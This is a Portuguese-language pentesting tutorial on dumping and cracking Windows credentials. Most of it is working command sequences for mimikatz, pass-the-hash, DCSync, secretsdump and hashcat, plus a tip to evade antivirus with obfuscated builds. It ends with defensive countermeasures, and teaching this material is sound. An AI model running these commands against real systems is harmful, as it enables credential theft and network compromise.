Recuperação de senhas de sistema Windows

Extraindo e quebrando credenciais de autenticação Windows

O que você vai descobrir

🎯 Por que isso importa

A quebra de senhas Windows representa uma habilidade fundamental em testes de penetração e resposta a incidentes. Sistemas Windows dominam ambientes corporativos, com autenticação Active Directory controlando acesso a recursos críticos através de redes inteiras. Entender como extrair e quebrar credenciais Windows permite que profissionais de segurança avaliem políticas de senhas, demonstrem viabilidade de ataques e identifiquem contas vulneráveis antes que atores maliciosos as explorem. Durante testes de penetração, obter credenciais de administrador local ou de domínio frequentemente fornece o ponto de pivô para movimento lateral, escalação de privilégios e comprometimento total da rede. Dominar técnicas de quebra de senhas Windows é essencial para avaliar a verdadeira postura de segurança de infraestruturas baseadas em Windows.

🔍 O que você vai aprender

Você dominará ferramentas de extração de credenciais Windows incluindo mimikatz, secretsdump.py e pwdump, entenderá formatos de hash NTLM e NTLMv2 e suas vulnerabilidades, aprenderá técnicas de extração do banco SAM de sistemas offline e ativos, e desenvolverá habilidades em quebra de senhas, ataques pass-the-hash e auditoria de senhas Active Directory. Essas técnicas são críticas para testes de penetração de ambientes Windows, avaliação de políticas de senhas organizacionais, identificação de padrões de reutilização de credenciais e compreensão de como atacantes pivotam através de redes Windows usando material de autenticação roubado.

🚀 Sua primeira vitória

Nos próximos 20 minutos, você entenderá como Windows armazena senhas, aprenderá a extrair hashes NTLM do banco SAM e saberá exatamente como profissionais de segurança quebram credenciais Windows durante avaliações de segurança.

🔧 Experimente agora

Vamos examinar como hashes de senhas Windows funcionam usando uma demonstração (requer Windows ou Kali Linux com Impacket):

# Exemplo de geração de hash NTLM
# Hashes NTLM do Windows são hashes MD4 da senha em UTF-16LE

# Instalar passlib para geração de hash NTLM:
# Ubuntu/Debian:
sudo apt install python3-passlib
# OU via pip:
pip3 install passlib

# Gerar hash NTLM:
python3 -c "from passlib.hash import nthash; print(nthash.hash('password'))"
# Saída: 8846f7eaee8fb117ad06bdd830b7586c

# A mesma senha sempre produz o mesmo hash (sem salt!)
# Por isso NTLM é vulnerável a rainbow tables

# Para testes de penetração, você extrairá hashes de:
# 1. Banco SAM (contas locais)
# 2. NTDS.dit (Active Directory)
# 3. Dumps de memória (mimikatz)
# 4. Capturas de rede (challenge/response NTLMv2)

# Exemplo: Visualizar hashes SAM locais (requer admin)
# Windows:
# reg save HKLM\SAM sam.save
# reg save HKLM\SYSTEM system.save

# Linux (montar partição Windows):
# sudo mount /dev/sda1 /mnt
# ls /mnt/Windows/System32/config/SAM

# Extrair hashes com secretsdump.py (Impacket):
# secretsdump.py -sam sam.save -system system.save LOCAL

# Você verá o formato:
# username:RID:LM_hash:NTLM_hash:::
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Você verá: Hashes NTLM são strings hexadecimais de 32 caracteres representando hashes MD4 de senhas. A falta de salt significa que senhas idênticas produzem hashes idênticos, permitindo ataques de rainbow table e tornando senhas fracas instantaneamente reconhecíveis. Entender este formato de hash é fundamental para ataques de credenciais Windows.

Habilidades que você dominará

Entendendo a autenticação Windows

A autenticação Windows evoluiu através de múltiplas gerações, com NTLM (NT LAN Manager) representando o protocolo legado ainda amplamente usado hoje. Quando um usuário faz login no Windows, sua senha é hasheada usando MD4 (para NTLM) e armazenada no banco Security Account Manager (SAM) para contas locais, ou no banco NTDS.dit do Active Directory para contas de domínio. A vulnerabilidade crítica é que hashes NTLM não usam salt - senhas idênticas produzem hashes idênticos em todos os sistemas Windows. Esta falha de design, mantida para retrocompatibilidade, permite ataques de rainbow table e torna senhas fracas instantaneamente reconhecíveis por atacantes que obtêm bancos de hashes.

A documentação de autenticação NTLM da Microsoft descreve a mecânica do protocolo, mas as implicações de segurança são severas. Hashes NTLM podem ser quebrados a velocidades excedendo 100 bilhões de tentativas por segundo em GPUs de ponta. Senhas simples como "Password1" quebram instantaneamente, enquanto mesmo senhas complexas de 8 caracteres podem cair dentro de horas. A ausência de funções de derivação de chave como PBKDF2 significa que não há custo computacional para testar senhas, diferente de esquemas modernos de hashing de senhas.

Ataques pass-the-hash representam uma vulnerabilidade ainda mais crítica na autenticação Windows. Como sistemas Windows autenticam usando hashes NTLM diretamente (não a senha em texto claro), atacantes que obtêm hashes podem autenticar em sistemas sem nunca quebrar a senha. Ferramentas como mimikatz, psexec.py do Impacket e CrackMapExec permitem movimento lateral através de redes Windows usando hashes NTLM roubados. Isso fundamentalmente mina a segurança baseada em senhas - mesmo senhas fortes e aleatórias não fornecem proteção contra ataques pass-the-hash uma vez que o hash é comprometido. Organizações devem implementar controles adicionais como Credential Guard, modo admin restrito e segmentação de rede apropriada para mitigar este vetor de ataque.

Ferramentas e técnicas

🔨 mimikatz: mestre da extração de credenciais

Mimikatz, criado por Benjamin Delpy, representa o padrão da indústria para extração de credenciais Windows. Esta ferramenta extrai senhas em texto claro, hashes NTLM, tickets Kerberos e outro material de autenticação da memória Windows. Embora principalmente conhecido por roubo de credenciais pós-exploração, mimikatz também permite ataques pass-the-hash, pass-the-ticket e golden ticket.

# Baixar mimikatz de: https://github.com/gentilkiwi/mimikatz
# Requer privilégios de administrador

# Dump básico de credenciais
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# A saída mostra:
# - Nomes de usuário
# - Domínios
# - Hashes NTLM
# - Às vezes senhas em texto claro (se WDigest habilitado)

# Extrair todas as credenciais da memória LSASS
sekurlsa::logonpasswords full

# Dump de hashes do banco SAM
lsadump::sam

# Ataque pass-the-hash (autenticar usando hash)
sekurlsa::pth /user:Administrator /domain:HACKERDNA /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

# Extração de tickets Kerberos
sekurlsa::tickets /export

# Ataque DCSync (extrair hashes do controlador de domínio)
lsadump::dcsync /domain:hackerdna.local /user:Administrator

# Nota: Windows Defender moderno detecta mimikatz
# Use versões ofuscadas ou execute da memória
# Alternativas: pypykatz, SharpKatz, SafetyKatz

O poder do mimikatz vem de sua capacidade de interagir com subsistemas de autenticação Windows em baixo nível. O módulo sekurlsa extrai credenciais da memória LSASS (Local Security Authority Subsystem Service), onde Windows cacheia material de autenticação. O repositório oficial mimikatz fornece documentação abrangente, embora profissionais de segurança devam notar que mimikatz é fortemente assinado por antivírus. Pentests em produção requerem técnicas de evasão ou ferramentas alternativas.

⚡ Impacket secretsdump: extração de hashes offline

O secretsdump.py do Impacket fornece extração poderosa de credenciais offline de arquivos SAM, SYSTEM e NTDS.dit. Esta ferramenta Python funciona em todas as plataformas e não requer Windows, tornando-a ideal para análise forense e auditoria de senhas offline.

# Instalar Impacket
pip3 install impacket

# Extrair hashes SAM locais (offline)
# Primeiro, obter hives de registro SAM e SYSTEM
# No sistema Windows alvo (como admin):
# reg save HKLM\SAM sam.save
# reg save HKLM\SYSTEM system.save

# Extrair hashes com secretsdump
secretsdump.py -sam sam.save -system system.save LOCAL

# Formato de saída:
# username:RID:LM_hash:NTLM_hash:::
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

# Extração remota (requer credenciais)
secretsdump.py 'DOMAIN/user:password@<target>'

# Usando hash NTLM para autenticação (pass-the-hash)
secretsdump.py -hashes :8846f7eaee8fb117ad06bdd830b7586c 'DOMAIN/Administrator@<target>'

# Extrair hashes Active Directory de NTDS.dit
# Primeiro, obter NTDS.dit e SYSTEM do controlador de domínio
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# Ataque DCSync (extrair hashes DC remotamente)
secretsdump.py 'DOMAIN/Administrator:password@<target>' -just-dc

# Extrair usuário específico
secretsdump.py 'DOMAIN/Administrator:password@<target>' -just-dc-user krbtgt

Secretsdump se destaca em análise offline, tornando-o valioso para investigações forenses e auditorias de senhas onde você tem imagens de disco ou dumps de registro. A ferramenta também suporta extração remota via SMB, permitindo colheita de credenciais de sistemas ativos durante testes de penetração autorizados. Para ambientes Active Directory, extrair NTDS.dit fornece hashes de todas as contas de domínio, permitindo avaliação abrangente de política de senhas.

🚀 hashcat: quebra NTLM acelerada por GPU

Hashcat fornece desempenho extremo para quebra de hashes NTLM através de aceleração GPU. A falta de derivação de chave do NTLM o torna um dos tipos de hash mais rápidos para quebrar - GPUs modernas alcançam mais de 100 bilhões de tentativas NTLM por segundo.

# Modo hashcat para NTLM: 1000
# Formato: hash ou username:hash

# Ataque por dicionário
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt

# Ataque baseado em regras para mutações de senha
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r rules/best64.rule

# Ataque por máscara para padrões conhecidos
# Exemplo: 8 caracteres, começa com maiúscula, termina com 2 dígitos
hashcat -m 1000 -a 3 ntlm_hashes.txt '?u?l?l?l?l?l?d?d'

# Ataque híbrido: wordlist + máscara
hashcat -m 1000 -a 6 ntlm_hashes.txt rockyou.txt '?d?d?d?d'

# Ataque por combinação
hashcat -m 1000 -a 1 ntlm_hashes.txt wordlist1.txt wordlist2.txt

# Mostrar senhas quebradas
hashcat -m 1000 ntlm_hashes.txt --show

# Benchmark velocidade de quebra NTLM
hashcat -m 1000 -b

# Velocidades típicas:
# RTX 3090: 100+ GH/s (100 bilhões de hashes/segundo)
# RTX 4090: 200+ GH/s
# Mesmo GPUs fracas alcançam bilhões de tentativas/segundo

# Para NTLMv2 (challenge/response de captura de rede)
# Modo 5600: NetNTLMv2
hashcat -m 5600 -a 0 ntlmv2_hashes.txt rockyou.txt

A velocidade extrema da quebra NTLM significa que o comprimento da senha se torna crítico. Uma senha de 8 caracteres usando todos os tipos de caracteres pode ser pesquisada exaustivamente em semanas em hardware de consumo. Organizações devem exigir senhas de 14+ caracteres mínimo, embora mesmo isso forneça proteção limitada contra ataques direcionados com wordlists personalizadas. A quebra NTLMv2 é significativamente mais lenta devido à computação challenge/response, mas ainda vulnerável a ataques de dicionário.

🎯 John the Ripper: quebra de senhas versátil

John the Ripper fornece excelente quebra NTLM com detecção automática de formato e gerenciamento integrado de wordlists. Embora mais lento que a aceleração GPU do hashcat, John se destaca em modo incremental e ataques personalizados baseados em regras.

# Detecção de formato e quebra
john ntlm_hashes.txt

# Especificar formato explicitamente
john --format=NT ntlm_hashes.txt

# Ataque por dicionário
john --wordlist=rockyou.txt ntlm_hashes.txt

# Mutações baseadas em regras
john --rules --wordlist=rockyou.txt ntlm_hashes.txt

# Modo incremental (força bruta)
john --incremental ntlm_hashes.txt

# Mostrar senhas quebradas
john --show ntlm_hashes.txt

# Regras personalizadas para senhas Windows corporativas
echo '[List.Rules:WindowsRules]' > windows.conf
echo 'cAz"[0-9][0-9][0-9][0-9]"' >> windows.conf  # Nome da empresa + 4 dígitos
echo 'cAz"[!@#$]"' >> windows.conf  # Maiúscula + caractere especial
echo 'Az"[0-9][0-9]""[!@#]"' >> windows.conf  # Palavra + dígitos + especial

john --rules=WindowsRules --wordlist=company.txt ntlm_hashes.txt

# Gerenciamento de sessão
john --session=hdna_windows ntlm_hashes.txt
john --restore=hdna_windows

A força do John the Ripper está em seu motor de regras e modo incremental. Senhas Windows corporativas frequentemente seguem padrões previsíveis (Estação+Ano+Especial, NomeEmpresa+Trimestre, etc.), tornando regras personalizadas altamente eficazes. O modo incremental testa sistematicamente senhas por análise de frequência, frequentemente quebrando senhas simples mais rápido que ataques de dicionário.

Contramedidas defensivas

🛡️ Políticas de senhas fortes

Dado o hashing fraco do NTLM, ambientes Windows requerem políticas de senhas rigorosas que contabilizem a velocidade extrema da quebra offline. As recomendações de política de senha da Microsoft fornecem orientação básica, mas organizações devem exceder esses mínimos para contas privilegiadas.

• Mínimo 14 caracteres: Senhas mais longas aumentam exponencialmente o tempo de quebra
• Frases de senha sobre complexidade: "correct horse battery staple" supera "P@ssw0rd!"
• Requisitos para contas privilegiadas: 20+ caracteres para domain admins e contas de serviço
• Rotação de senhas: Mudanças regulares para contas privilegiadas (mínimo trimestral)

🔐 Tecnologias de proteção de credenciais

Versões modernas do Windows incluem recursos de proteção de credenciais que mitigam roubo de credenciais e ataques pass-the-hash. Organizações devem habilitar essas proteções em todos os sistemas Windows, particularmente em alvos de alto valor como servidores e estações de trabalho de administradores.

• Credential Guard: Usa segurança baseada em virtualização para proteger hashes NTLM e tickets Kerberos
• Remote Credential Guard: Protege credenciais durante sessões de Área de Trabalho Remota
• Modo Admin restrito: RDP sem enviar credenciais para o sistema remoto
• Proteção LSA: Previne injeção de código no processo LSASS

⚡ Hardening de segurança Active Directory

A segurança do Active Directory se estende além das políticas de senhas para incluir gerenciamento de privilégios, logging de auditoria e redução de superfície de ataque. O modelo de administração em camadas separa contas de alto privilégio das operações do dia a dia, limitando exposição de credenciais.

• Administração em camadas: Contas admin separadas para Tier 0 (Controladores de Domínio), Tier 1 (servidores), Tier 2 (estações de trabalho)
• Estações de trabalho de acesso privilegiado (PAW): Sistemas dedicados e hardened para tarefas administrativas
• Administração just-in-time (JIT): Elevação de privilégios temporária em vez de direitos admin persistentes
• Desabilitar autenticação NTLM: Transição para apenas Kerberos onde possível

🔍 Monitoramento e detecção

Detectar roubo de credenciais e ataques pass-the-hash requer logging abrangente, análise comportamental e monitoramento de segurança. Organizações devem implementar mecanismos de detecção para padrões de ataque comuns associados a comprometimento de credenciais Windows.

• Políticas de auditoria aprimoradas: Logar todos os eventos de autenticação, uso de privilégios e acesso a objetos sensíveis
• Detecção de dump de credenciais: Monitorar assinaturas mimikatz e acesso LSASS
• Detecção de movimento lateral: Alertar sobre padrões de autenticação e uso de serviços incomuns
• Detecção de password spray: Identificar tentativas de autenticação distribuídas em múltiplas contas

FAQ

Básico de quebra de senhas Windows

Implementação técnica

Aplicações práticas

🎯 Você domina a quebra de senhas Windows!

Você agora entende mecanismos de autenticação Windows, pode extrair hashes NTLM de bancos SAM e memória, e sabe como quebrar credenciais Windows usando hashcat e John the Ripper. Essas habilidades são essenciais para testes de penetração de ambientes Windows, avaliação de políticas de senhas organizacionais e compreensão de como atacantes pivotam através de redes Windows usando material de autenticação roubado.

Pronto para explorar técnicas de otimização avançada de quebra de senhas